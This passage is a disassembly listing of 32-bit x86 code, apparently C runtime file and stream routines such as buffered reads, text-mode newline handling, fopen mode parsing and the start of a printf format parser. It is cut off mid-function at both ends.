mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EE76+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41EF4C: ; CODE XREF: sub_41EE76+CBj
mov [eax], dl
add eax, 8
jmp short loc_41EF89
; ---------------------------------------------------------------------------
loc_41EF53: ; CODE XREF: sub_41EE76+B6j
cmp eax, edx
jnb short loc_41EF6A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41EF93
mov esi, ebx
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF63: ; CODE XREF: sub_41EE76+ABj
movzx eax, al
add esi, eax
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF6A: ; CODE XREF: sub_41EE76+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF7B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41EF84
; ---------------------------------------------------------------------------
loc_41EF7B: ; CODE XREF: sub_41EE76+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EF84: ; CODE XREF: sub_41EE76+103j
mov [esi], dl
lea eax, [esi+8]
loc_41EF89: ; CODE XREF: sub_41EE76+40j
; sub_41EE76+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41EF95
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EE76+7Ej
; sub_41EE76+9Dj ...
xor eax, eax
loc_41EF95: ; CODE XREF: sub_41EE76+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EE76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41EFD4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41EFD4: ; CODE XREF: sub_41EF9A+26j
jnb short loc_41F03B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F03B
lea eax, [ecx+edx]
loc_41EFE9: ; CODE XREF: sub_41EF9A+59j
cmp eax, esi
jnb short loc_41EFF7
cmp byte ptr [eax], 0
jnz short loc_41EFF5
inc eax
jmp short loc_41EFE9
; ---------------------------------------------------------------------------
loc_41EFF5: ; CODE XREF: sub_41EF9A+56j
cmp eax, esi
loc_41EFF7: ; CODE XREF: sub_41EF9A+51j
jnz short loc_41F03B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F02F
cmp esi, eax
jbe short loc_41F02F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F026
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F021
loc_41F01A: ; CODE XREF: sub_41EF9A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F01A
loc_41F021: ; CODE XREF: sub_41EF9A+7Ej
mov [ebx+4], eax
jmp short loc_41F02F
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EF9A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F02F: ; CODE XREF: sub_41EF9A+68j
; sub_41EF9A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F034: ; CODE XREF: sub_41EF9A+38j
mov [ebp+var_4], 1
loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j
; sub_41EF9A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41EF9A endp
; =============== S U B R O U T I N E =======================================
sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p
; sub_41BB4F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F117
test al, 40h
jnz loc_41F117
test al, 2
jz short loc_41F069
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F117
; ---------------------------------------------------------------------------
loc_41F069: ; CODE XREF: sub_41F043+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F07D
push esi
call sub_4239EF
pop ecx
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F07D: ; CODE XREF: sub_41F043+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F082: ; CODE XREF: sub_41F043+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F106
cmp eax, 0FFFFFFFFh
jz short loc_41F106
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F0DB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F0C4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DC5C0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F0C9
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F043+6Bj
mov edi, offset dword_43C950
loc_41F0C9: ; CODE XREF: sub_41F043+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F0DB
or dh, 20h
mov [esi+0Ch], edx
loc_41F0DB: ; CODE XREF: sub_41F043+62j
; sub_41F043+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F0F8
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F0F8
test ch, 4
jnz short loc_41F0F8
mov dword ptr [esi+18h], 1000h
loc_41F0F8: ; CODE XREF: sub_41F043+9Fj
; sub_41F043+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F106: ; CODE XREF: sub_41F043+55j
; sub_41F043+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F117: ; CODE XREF: sub_41F043+Aj
; sub_41F043+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F11C proc near ; CODE XREF: sub_41B11A+90p
; sub_41F043+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DC6C0
jnb loc_41F2F9
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DC5C0h[eax*4]
mov eax, dword_4DC5C0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F2F9
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F1D1
test dl, 2
jnz short loc_41F1D1
test dl, 48h
jz short loc_41F191
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F191
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F191: ; CODE XREF: sub_41F11C+56j
; sub_41F11C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call near ptr 2700000h
nop
test eax, eax
jnz short loc_41F1E4
nop
call near ptr 2670897h
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F1CC
mov dword_4DB278, 9
mov dword_4DB27C, ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1CC: ; CODE XREF: sub_41F11C+99j
cmp eax, 6Dh
jnz short loc_41F1D8
loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj
; sub_41F11C+51j
xor eax, eax
jmp loc_41F30D
; ---------------------------------------------------------------------------
loc_41F1D8: ; CODE XREF: sub_41F11C+B3j
push eax
call sub_4203DF
pop ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F2F4
test edx, edx
jz short loc_41F209
cmp byte ptr [edi], 0Ah
jnz short loc_41F209
or al, 4
jmp short loc_41F20B
; ---------------------------------------------------------------------------
loc_41F209: ; CODE XREF: sub_41F11C+E2j
; sub_41F11C+E7j
and al, 0FBh
loc_41F20B: ; CODE XREF: sub_41F11C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F2EE
loc_41F223: ; CODE XREF: sub_41F11C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F2DE
cmp al, 0Dh
jz short loc_41F23F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F23F: ; CODE XREF: sub_41F11C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F25D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F254
add [ebp+arg_8], 2
jmp short loc_41F2B2
; ---------------------------------------------------------------------------
loc_41F254: ; CODE XREF: sub_41F11C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F25D: ; CODE XREF: sub_41F11C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2700000h
test eax, eax
jnz short loc_41F285
call near ptr 2670897h
nop
test eax, eax
jnz short loc_41F2CC
loc_41F285: ; CODE XREF: sub_41F11C+15Dj
cmp [ebp+var_C], 0
jz short loc_41F2CC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F2A7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F2B2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F2A7: ; CODE XREF: sub_41F11C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F2B7
cmp [ebp+var_1], 0Ah
jnz short loc_41F2B7
loc_41F2B2: ; CODE XREF: sub_41F11C+136j
; sub_41F11C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F2CF
; ---------------------------------------------------------------------------
loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej
; sub_41F11C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42272B
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F2D0
loc_41F2CC: ; CODE XREF: sub_41F11C+167j
; sub_41F11C+16Dj
mov byte ptr [edi], 0Dh
loc_41F2CF: ; CODE XREF: sub_41F11C+199j
inc edi
loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej
; sub_41F11C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F223
jmp short loc_41F2EE
; ---------------------------------------------------------------------------
loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F2EE
or al, 2
mov [esi], al
loc_41F2EE: ; CODE XREF: sub_41F11C+101j
; sub_41F11C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F2F4: ; CODE XREF: sub_41F11C+DAj
mov eax, [ebp+var_8]
jmp short loc_41F30D
; ---------------------------------------------------------------------------
loc_41F2F9: ; CODE XREF: sub_41F11C+12j
; sub_41F11C+39j
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_41F30A: ; CODE XREF: sub_41F11C+ABj
; sub_41F11C+C3j
or eax, 0FFFFFFFFh
loc_41F30D: ; CODE XREF: sub_41F11C+B7j
; sub_41F11C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F11C endp
; =============== S U B R O U T I N E =======================================
sub_41F312 proc near ; CODE XREF: sub_41B202+126p
; sub_41B202+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DB2F8
test eax, eax
jz short loc_41F32A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F32A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F312+7j
; sub_41F312+12j
xor eax, eax
retn
sub_41F312 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DB464
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F366
cmp al, 72h
jz short loc_41F35F
cmp al, 77h
jnz loc_41F47A
mov ecx, 301h
jmp short loc_41F36B
; ---------------------------------------------------------------------------
loc_41F35F: ; CODE XREF: sub_41F32D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F36E
; ---------------------------------------------------------------------------
loc_41F366: ; CODE XREF: sub_41F32D+1Dj
mov ecx, 109h
loc_41F36B: ; CODE XREF: sub_41F32D+30j
or esi, 2
loc_41F36E: ; CODE XREF: sub_41F32D+37j
push 1
pop edx
loc_41F371: ; CODE XREF: sub_41F32D+8Bj
; sub_41F32D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F460
cmp edx, ebx
jz loc_41F460
movsx eax, al
cmp eax, 54h
jg short loc_41F3FF
jz short loc_41F3EF
sub eax, 2Bh
jz short loc_41F3D9
sub eax, 19h
jz short loc_41F3CF
sub eax, 0Eh
jz short loc_41F3BA
dec eax
jnz loc_41F451
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj
test cl, 40h
jnz short loc_41F451
or ecx, 40h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3D9: ; CODE XREF: sub_41F32D+65j
test cl, 2
jnz short loc_41F451
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3EF: ; CODE XREF: sub_41F32D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F451
or ecx, eax
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej
sub eax, 62h
jz short loc_41F44C
dec eax
jz short loc_41F435
sub eax, 0Bh
jz short loc_41F41E
sub eax, 6
jnz short loc_41F451
test ch, 0C0h
jnz short loc_41F451
or ch, 40h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F41E: ; CODE XREF: sub_41F32D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F435: ; CODE XREF: sub_41F32D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F44C: ; CODE XREF: sub_41F32D+D5j
test ch, 0C0h
jz short loc_41F458
loc_41F451: ; CODE XREF: sub_41F32D+72j
; sub_41F32D+7Bj ...
xor edx, edx
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F458: ; CODE XREF: sub_41F32D+122j
or ch, 80h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F460: ; CODE XREF: sub_41F32D+4Aj
; sub_41F32D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423A33
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F47E
loc_41F47A: ; CODE XREF: sub_41F32D+25j
xor eax, eax
jmp short loc_41F498
; ---------------------------------------------------------------------------
loc_41F47E: ; CODE XREF: sub_41F32D+14Bj
mov eax, [ebp+arg_C]
inc dword_4DB460
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F498: ; CODE XREF: sub_41F32D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F32D endp
; =============== S U B R O U T I N E =======================================
sub_41F49D proc near ; CODE XREF: sub_41B4A2p
mov edx, dword_4DC5A0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F50E
mov ebx, dword_4DB598
mov edi, ebx
loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F4D4
test byte ptr [ecx+0Ch], 83h
jz short loc_41F4CF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F4B9
jmp short loc_41F50E
; ---------------------------------------------------------------------------
loc_41F4CF: ; CODE XREF: sub_41F49D+26j
mov esi, [ebx+eax*4]
jmp short loc_41F4F8
; ---------------------------------------------------------------------------
loc_41F4D4: ; CODE XREF: sub_41F49D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41B4D5
pop ecx
mov ecx, dword_4DB598
mov [edi+ecx], eax
mov eax, dword_4DB598
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F50E
mov esi, edi
loc_41F4F8: ; CODE XREF: sub_41F49D+35j
cmp esi, ebp
jz short loc_41F50E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F50E: ; CODE XREF: sub_41F49D+12j
; sub_41F49D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p
; sub_41B6EE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F533
mov ecx, off_43C2F8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F585
; ---------------------------------------------------------------------------
loc_41F533: ; CODE XREF: sub_41F515+10j
mov ecx, eax
push esi
mov esi, off_43C2F8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F558
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F561
; ---------------------------------------------------------------------------
loc_41F558: ; CODE XREF: sub_41F515+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F561: ; CODE XREF: sub_41F515+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_423CEC
add esp, 1Ch
test eax, eax
jnz short loc_41F581
leave
retn
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F515+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F585: ; CODE XREF: sub_41F515+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F58A proc near ; CODE XREF: sub_41B886+46p
; sub_41B980+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F693
test al, 40h
jnz loc_41F693
test al, 1
jz short loc_41F5C2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F693
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F5C2: ; CODE XREF: sub_41F58A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F5FC
cmp esi, offset dword_43CA08
jz short loc_41F5EA
cmp esi, offset dword_43CA28
jnz short loc_41F5F5
loc_41F5EA: ; CODE XREF: sub_41F58A+56j
push ebx
call sub_423E35
test eax, eax
pop ecx
jnz short loc_41F5FC
loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej
push esi
call sub_4239EF
pop ecx
loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej
; sub_41F58A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F669
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F62C
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F65F
; ---------------------------------------------------------------------------
loc_41F62C: ; CODE XREF: sub_41F58A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F647
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F64C
; ---------------------------------------------------------------------------
loc_41F647: ; CODE XREF: sub_41F58A+A5j
mov eax, offset dword_43C950
loc_41F64C: ; CODE XREF: sub_41F58A+BBj
test byte ptr [eax+4], 20h
jz short loc_41F65F
push 2
push 0
push ebx
call sub_42272B
add esp, 0Ch
loc_41F65F: ; CODE XREF: sub_41F58A+A0j
; sub_41F58A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F67D
; ---------------------------------------------------------------------------
loc_41F669: ; CODE XREF: sub_41F58A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F67D: ; CODE XREF: sub_41F58A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F689
or dword ptr [esi+0Ch], 20h
jmp short loc_41F698
; ---------------------------------------------------------------------------
loc_41F689: ; CODE XREF: sub_41F58A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F69B
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F58A+10j
; sub_41F58A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F698: ; CODE XREF: sub_41F58A+FDj
or eax, 0FFFFFFFFh
loc_41F69B: ; CODE XREF: sub_41F58A+107j
pop esi
pop ebx
pop ebp
retn
sub_41F58A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F69F proc near ; CODE XREF: sub_41B886+29p
; sub_41B980+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FDB8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F6D3
; ---------------------------------------------------------------------------
loc_41F6CB: ; CODE XREF: sub_41F69F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj
cmp [ebp+var_14], edx
jl loc_41FDB8
cmp bl, 20h
jl short loc_41F6F4
cmp bl, 78h
jg short loc_41F6F4
movsx eax, bl
mov al, [eax+42773Ch]
and eax, 0Fh
jmp short loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F6F4: ; CODE XREF: sub_41F69F+40j
; sub_41F69F+45j
xor eax, eax
loc_41F6F6: ; CODE XREF: sub_41F69F+53j
movsx eax, byte_42775C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FDA7 ; default
jmp off_41FDC0[eax*4] ; switch jump
loc_41F714: ; DATA XREF: ___:off_41FDC0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F72F: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 2
sub eax, 20h
jz short loc_41F772
sub eax, 3
jz short loc_41F769
sub eax, 8
jz short loc_41F760
dec eax
dec eax
jz short loc_41F757
sub eax, 3
jnz loc_41FDA7 ; default
or [ebp+var_4], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F69F+A4j
or [ebp+var_4], 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F760: ; CODE XREF: sub_41F69F+A0j
or [ebp+var_4], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F769: ; CODE XREF: sub_41F69F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F772: ; CODE XREF: sub_41F69F+96j
or [ebp+var_4], 2
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F77B: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 3
jnz short loc_41F7A3
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FDA7 ; default
or [ebp+var_4], 4
neg eax
loc_41F79B: ; CODE XREF: sub_41F69F+111j
mov [ebp+var_20], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7A3: ; CODE XREF: sub_41F69F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F79B
; ---------------------------------------------------------------------------
loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov [ebp+var_10], edx ; jumptable 0041F70D case 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 5
jnz short loc_41F7DD
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FDA7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 49h ; jumptable 0041F70D case 6
jz short loc_41F822
cmp bl, 68h
jz short loc_41F819
cmp bl, 6Ch
jz short loc_41F810
cmp bl, 77h
jnz loc_41FDA7 ; default
or byte ptr [ebp+var_4+1], 8
